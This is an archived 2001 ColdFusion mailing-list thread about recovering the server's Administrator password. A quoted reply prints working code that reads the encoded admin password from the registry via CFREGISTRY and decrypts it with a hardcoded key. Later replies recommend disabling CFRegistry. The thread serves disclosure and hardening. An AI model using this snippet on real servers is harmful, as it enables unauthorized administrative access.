It's in the CFAdministrator under Basic Security. Scroll down to the bottom
and uncheck what you don't need. I would uncheck them all unless you have a
speciffic need for one of them.
Todd Ashworth
Web Application Developer
Network Administrator
Saber Corporation
314 Oakland Ave.
Rock Hill, SC 29730
(803) 327-0137 [111] (p)
(803) 328-2868 (f)
----- Original Message -----
From: "John Fix 3rd" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Saturday, March 10, 2001 10:57 AM
Subject: RE: Finding the CF Administrator password
> How does one disable CFRegistry?
>
> Thanks!
>
> John
>
> -----Original Message-----
> From: CF [mailto:[EMAIL PROTECTED]]
> Sent: Saturday, March 10, 2001 10:48 AM
> To: CF-Talk
> Subject: Re: Finding the CF Administrator password
>
>
> Yeah .. someone sent me the key a little earlier and it worked like a
> charm. Actually, this other peson also showed me how to find the key to
> begin with ... it's amazingly simple. I don't see why you should be
> flamed .. people should not have CFRegistry active on a machine where
> they wouldn't want people getting in and doing stuff like this anyway.
> This is just another great example of why ;)
>
> Todd Ashworth
> Web Application Developer
> Network Administrator
>
> Saber Corporation
> 314 Oakland Ave.
> Rock Hill, SC 29730
> (803) 327-0137 [111] (p)
> (803) 328-2868 (f)
>
> ----- Original Message -----
> From: "Dain Anderson" <[EMAIL PROTECTED]>
> To: "CF-Talk" <[EMAIL PROTECTED]>
> Sent: Saturday, March 10, 2001 12:07 AM
> Subject: Re: Finding the CF Administrator password
>
>
> > Todd,
> >
> > It's very easy to retrieve the admin password, and I'm sure I will get
>
> > flamed for showing this, but what the hell:
> >
> > <CFSET CFKey = "4p0L@r1$">
> >
> > <CFREGISTRY ACTION=GET
> >
> >
> Branch="HKEY_LOCAL_MACHINE\SOFTWARE\Allaire\ColdFusion\CurrentVersion\Se
> rver
> > "
> > Entry="AdminPassword"
> > Variable="AdminPassword">
> >
> > <CFOUTPUT>
> > Registry Password: #CFusion_Decrypt(AdminPassword, CFKey)#
> > </CFOUTPUT>
> >
> > The key to decrypt it spells "4 Polaris" (Allaire inside joke?) --
> > this isn't my doing; rather, I was sent this from an anonymous source
> > via the [EMAIL PROTECTED] address. I hope this will show Allaire
> > and ISPs that there is a need for encryption, not encoding, for things
>
> > such as this. I
> am
> > against template encryption personally, but the administrator feature
> should
> > have much better security. We live and learn, strive and yearn.
> >
> > Dain Anderson
> > Caretaker, CF Comet
> > http://www.cfcomet.com/
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Structure your ColdFusion code with Fusebox. Get the official book at
http://www.fusionauthority.com/bkinfo.cfm
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
